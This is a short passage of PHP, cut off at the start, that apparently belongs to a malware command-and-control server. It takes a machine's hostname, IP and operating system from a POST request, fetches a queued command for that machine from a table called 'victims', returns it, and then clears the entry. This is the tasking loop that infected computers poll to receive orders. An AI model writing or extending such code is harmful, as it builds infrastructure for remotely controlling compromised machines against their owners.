prepare("select command from victims where hostname=? and ipaddress=? and operatingsystem=?"); $commandQuery->bind_param("sss",$_POST["hostname"], $_POST["ip"], $_POST["operatingsystem"]); $commandQuery->execute(); $commandQuery->store_result(); $commandQuery->bind_result($command); $commandQuery->fetch(); echo $command; $removeCommand = $mysql->prepare("update victims set command='' where hostname=? and ipaddress=?"); $removeCommand->bind_param("ss",$_POST["hostname"], $_POST["ip"]); $removeCommand->execute(); } ?>